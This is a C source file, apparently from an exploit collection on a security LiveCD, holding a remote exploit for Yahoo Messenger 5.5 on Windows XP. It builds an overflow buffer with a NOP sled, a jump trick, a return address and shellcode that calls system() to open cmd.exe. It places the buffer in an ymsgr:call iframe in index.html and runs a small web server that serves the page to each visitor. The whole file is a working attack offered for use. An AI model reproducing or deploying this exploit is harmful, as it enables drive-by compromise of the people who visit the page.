home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / im / ymessenger / DSR-ducky.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  9KB  |  330 lines

  1. /* Ducky.c (Windows XP Pro + sp1)(Dutch)
  2.  *(Works even without Sp1)
  3.  *
  4.  *
  5.  * Rave@dtors.net
  6.  *
  7.  *
  8.  * ---------------------------------------------------
  9.  * Dtors Security Research (DSR)
  10.  * Code by: Rave
  11.  * Mail: rave@dtors.net
  12.  * ---------------------------------------------------
  13.  *
  14.  *
  15.  *      ---[ Ducky duck remote yahoo  V5.5 exploiter ]---
  16.  *
  17.  *
  18.  * The Ducky duck yahooo messager version 5.5 remote
  19.  * exploiter is ready for u all u need to do is to compile
  20.  * the source file and your ready to go..
  21.  *
  22.  *
  23.  * Usage:
  24.  *
  25.  *    ---------------------------------------------------
  26.  *                    Dtors Security Research (DSR)
  27.  *                    Code by: Rave
  28.  *                    Mail: rave@dtors.net
  29.  *    ---------------------------------------------------
  30.  *
  31.  *    ---------------------------------------------------
  32.  *
  33.  *    -P local webserver server portnumber
  34.  *    -g greatz to:
  35.  *
  36.  *
  37.  *
  38.  *
  39.  *    ---------------------------------------------------
  40.  *
  41.  * Owning yahoo messenger was a royal pain in the ass but a worthy
  42.  * challenge. I could not hit the shellcode address that was a 0x0012xxxx 
  43.  * if the least significant byte is lower that 0x24 it turns it into 0x00, 
  44.  * so if the shellcode is at 0x0012ddf4 u end up with 0x0000ddf4, now how
  45.  *  did I solve this problem?
  46.  * 
  47.  * I searched for a jmp 0x3C (EB3C) code in one of the dynamically linked
  48.  * library's (dll's) and pointed my instruction pointer to that position.
  49.  * Now there is a jump instruction inside the base pointer at location
  50.  * ebp+0x3c, that address points right in the middle of the nops, viola!
  51.  * We own this place :)
  52.  *
  53.  *                                cheers, rave....
  54.  *
  55.  *
  56.  * The buffer looks like this
  57.  *
  58.  *                    |-<-<-<--|
  59.  * <Fillup x offset><JMP 0x3><EIP><NOPS><SHELLCODE>
  60.  *                  ^__________^    
  61.  *             
  62.  *
  63.  * Special credits go out to bob (bob@dtors.net) for pointing me the
  64.  * vulnerabilety its crewl the work he does. 
  65.  *
  66.  * And many thanks for the friendly discussions and techniques sloth@nopninjas.com.                                                        
  67.  * this guy ownes 1337 skilz and a friendly tought for everyone..
  68.  *
  69.  * Enjoy Rave..
  70. */
  71.  
  72.  
  73. #include <windows.h>
  74. #include <stdio.h>
  75. #include <stdlib.h>
  76. #include <string.h>
  77. #include <stdio.h>          /* These are the usual header files */
  78. #include <winsock2.h>
  79. #include <stdio.h>
  80. #include <stdlib.h>
  81. #define MAXDATASIZE 555   /* Max number of bytes of data */
  82. #define BACKLOG 200   /* Number of allowed connections */
  83.  
  84. static int port =80;
  85.  
  86. /* library entry inside msvcrt.dll to jmp 0xc (EB0C); */
  87. char sraddress[8]="\x16\xd8\xE8\x77";
  88.  
  89. /* This shellcode just executes cmd.exe nothing special here..
  90.  * the victim gets a cmd shell on his desktop :) lol ! \
  91.  */
  92.  
  93. unsigned char shellcode[] =
  94.     "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  95.     "\x8b\xec\x55\x8b\xec\x68\x65\x78\x65\x20\x68\x63\x6d\x64\x2e\x8d\x45\xf8\x50\xb8"
  96.  
  97.     "\x44\x80\xbf\x77"            //    0x78bf8044 <- adress of system()
  98.     "\xff\xd0";                    //      call    system()
  99.     
  100.  
  101.  
  102.  
  103.  
  104.  
  105. static int port;
  106. void Usage(char *programName)
  107. {
  108.     printf("\n\t\t---------------------------------------------------\n");
  109.     printf("\t\t\t\tDtors Security Research (DSR) \n");
  110.     printf("\t\t\t\tCode by: Rave\n");
  111.     printf("\t\t\t\tMail: rave@dtors.net\n");
  112.     printf("\t\t---------------------------------------------------\n\n");
  113.  
  114.  
  115.     /* Modify here to add your usage message when the program is
  116.      * called without arguments */
  117.     printf("\t\t---------------------------------------------------\n\n");
  118.     fprintf(stdout,"\t\t-P local webserver server portnumber\n");
  119.     fprintf(stdout,"\t\t-g greatz to:\n\n\n\n\n");
  120.     printf("\t\t---------------------------------------------------\n\n");
  121.  
  122. }
  123.  
  124. /* returns the index of the first argument that is not an option; i.e.
  125.    does not start with a dash or a slash
  126. */
  127. int HandleOptions(int argc,char *argv[])
  128. {
  129.     int i,firstnonoption=0;
  130.  
  131.     for (i=1; i< argc;i++) {
  132.         if (argv[i][0] == '/' || argv[i][0] == '-') {
  133.             switch (argv[i][1]) {
  134.                 /* An argument -? means help is requested */
  135.                 case '?':
  136.                     Usage(argv[0]);
  137.                     break;
  138.                 case 'P':
  139.                     port=atoi(argv[i+1]);break;
  140.                 case 'H':
  141.                     if (!stricmp(argv[i]+1,"help")) {
  142.                         Usage(argv[0]);
  143.                         break;
  144.                     }
  145.                     /* If the option -h means anything else
  146.                      * in your application add code here
  147.                      * Note: this falls through to the default
  148.                      * to print an "unknow option" message
  149.                     */
  150.                 /* add your option switches here */
  151.                 default:
  152.                     fprintf(stderr,"unknown option %s\n",argv[i]);
  153.                     break;
  154.             }
  155.         }
  156.         else {
  157.             firstnonoption = i;
  158.             break;
  159.         }
  160.     }
  161.     return firstnonoption;
  162. }
  163.  
  164. int main(int argc,char *argv[])
  165. {
  166. FILE *fptr;
  167. unsigned char buffer[5000];
  168. int offset=320; // <-- the offset off the buffer = 320 x NOP; (At 321 whe begin the instruction pointer change)
  169. int fd,fd2 ,i,numbytes,sin_size;      /* files descriptors */
  170.  
  171. char sd[MAXDATASIZE];  /* sd will store send text */
  172.  
  173.  struct sockaddr_in server; /* server's address information */
  174.  struct sockaddr_in client; /* client's address information */
  175.  struct hostent *he; /* pointer for the host entry */
  176.  
  177.  
  178.      WSADATA  wsdata;
  179.      WSAStartup(0x0101,&wsdata);
  180.  
  181.  
  182.     if (argc == 1) {
  183.         /* If no arguments we call the Usage routine and exit */
  184.         Usage(argv[0]);
  185.         return 1;
  186.     }
  187.  
  188.         HandleOptions(argc,argv);
  189.         fprintf(stdout,"Creating index.html: ");
  190.         if ((fptr =fopen("index.html","w"))==NULL){
  191.             fprintf(stderr,"Failed\n");
  192.             exit(1);
  193.             } else {
  194.             fprintf(stderr,"Done\n");
  195.             }
  196.  
  197.     // memseting the buffers for preperation
  198.     memset(sd,0x00,MAXDATASIZE);
  199.     memset(buffer,0x00,offset+32+strlen(shellcode));
  200.      memset(buffer,0x90,offset);
  201.  
  202.  
  203.     // whe place the a jmp ebp+0x3 instuction inside the buffer
  204.     // to jump over the eip changing bytes at the en offset
  205.     //
  206.     // <fillup x offset>jmp 0x3<eip><NOPS><shellcode>
  207.     //                   |____________^
  208.     buffer[offset-4]=0xeb;
  209.     buffer[offset-3]=0x03;
  210.  
  211.     memcpy(buffer+offset,sraddress,4);
  212.     memcpy(buffer+offset+4,shellcode,strlen(shellcode));
  213.  
  214.  
  215.     // here whe make the index.html
  216.     // whe open it again if some one connects to the exploiting server
  217.     // and send it over to the victim.
  218.  
  219.     fprintf(fptr,"<!DOCTYPE HTML PUBLIC %c-//W3C//DTD HTML 4.0 Transitional//EN%c>",0x22,0x22);
  220.     fprintf(fptr,"<html>");
  221.     fprintf(fptr,"<title>Oohhh my god exploited</title>\n");
  222.     fprintf(fptr,"<body bgcolor=%cblack%c>",0x22,0x22);
  223.     fprintf(fptr,"<body>");
  224.     fprintf(fptr,"<font color=%c#C0C0C0%c size=%c2%c face=%cverdana, arial, helvetica, sans-serif%c>",
  225.                         0x22,0x22,0x22,0x22,0x22,0x22);
  226.     fprintf(fptr,"<B>Dtors Security Research (DSR)</B>\n");
  227.     fprintf(fptr,"<p>Yah000 Messager Version 5.5 exploit....</p>\n");
  228.     fprintf(fptr,"<pre>");
  229.     fprintf(fptr,"<IFRAME SRC=%cymsgr:call?%s%c>Contach heaven</html></body>\x00\x00\x00",0x22,buffer,0x22);
  230.     fprintf(fptr,"<IFRAME SRC=%chttp://www.boothill-mc.com/images/skull-modsm_01.gif%c>....</html></body>\x00\x00\x00",0x22,0x22);
  231.  
  232.     fclose(fptr); // <-- closing index.html again
  233.  
  234.  
  235.     // Some extra debuging information
  236.     fprintf(stdout,"Using port: %d\n",port);
  237.     fprintf(stdout,"\nStarting server http://localhost:%d: ",port);
  238.  
  239.     if ((fd=socket(AF_INET, SOCK_STREAM, 0)) == -1 ){  /* calls socket() */
  240.     printf("socket() error\n");
  241.     exit(1);} else {
  242.     fprintf(stderr,"Done\n");
  243.     }
  244.  
  245.  
  246.     server.sin_family = AF_INET;
  247.     server.sin_port = htons(port);
  248.     server.sin_addr.s_addr = INADDR_ANY;  /* INADDR_ANY puts your IP address automatically */
  249.     memset(server.sin_zero,0,8); /* zero the rest of the structure*/
  250.  
  251.  
  252.      if(bind(fd,(struct sockaddr*)&server,sizeof(struct sockaddr))==-1){
  253.     /* calls bind() */
  254.       printf("bind() error\n");
  255.       exit(-1);
  256.       }
  257.  
  258.     if(listen(fd,BACKLOG) == -1){  /* calls listen() */
  259.       printf("listen() error\n");
  260.       exit(-1);
  261.       }
  262.  
  263.     while(1){
  264.   sin_size=sizeof(struct sockaddr_in);
  265.   if ((fd2 = accept(fd,(struct sockaddr *)&client,&sin_size))==-1){
  266.      /* calls accept() */
  267.     printf("accept() error\n");
  268.     exit(1);
  269.   }
  270.  
  271.      if ((he=gethostbyname(inet_ntoa(client.sin_addr)))==NULL){
  272.      printf("gethostbyname() error\n");
  273.      exit(-1);
  274.   }
  275.  
  276.     printf("You got a connection from %s (%s)\n",
  277.     inet_ntoa(client.sin_addr),he->h_name);
  278.  /* prints client's IP */
  279.  
  280.  
  281.   fprintf(stdout,"\nOpening index.html for remote user: ");
  282.   if ((fptr =fopen("index.html","r"))==NULL){
  283.             fprintf(stderr,"Failed\n");
  284.             exit(1);
  285.             } else {
  286.             fprintf(stderr,"Done\n");
  287.             }
  288.  
  289.   fprintf(stdout,"Sending the overflow string... ");
  290.  
  291.  
  292.  
  293.  
  294.  
  295.         // reading the index.html file and sending its
  296.         // contents to the connected victim
  297.  
  298.         while (!feof(fptr)) {
  299.         send(fd2,sd,strlen(sd),0);
  300.         numbytes=fread(sd,sizeof(char),MAXDATASIZE,fptr);
  301.         sd[numbytes * sizeof(char)]='\0';
  302.  
  303.  
  304.         }
  305.  
  306.  
  307.  
  308.       send(fd2,sd,strlen(sd),0);
  309.  
  310.  
  311.    printf("\n\n\nExploit Done....\n\n\n");
  312.    printf("A shell is started @ %s :) lol\n\n\nPress any key to exit the exploit",inet_ntoa(client.sin_addr),he->h_name);
  313.  
  314.   gets(sd);
  315.     exit(0);
  316. }
  317.  
  318.  
  319.  
  320.  
  321.  
  322.  
  323.  
  324.  
  325.  
  326. return 0;
  327. }
  328.  
  329.  
  330.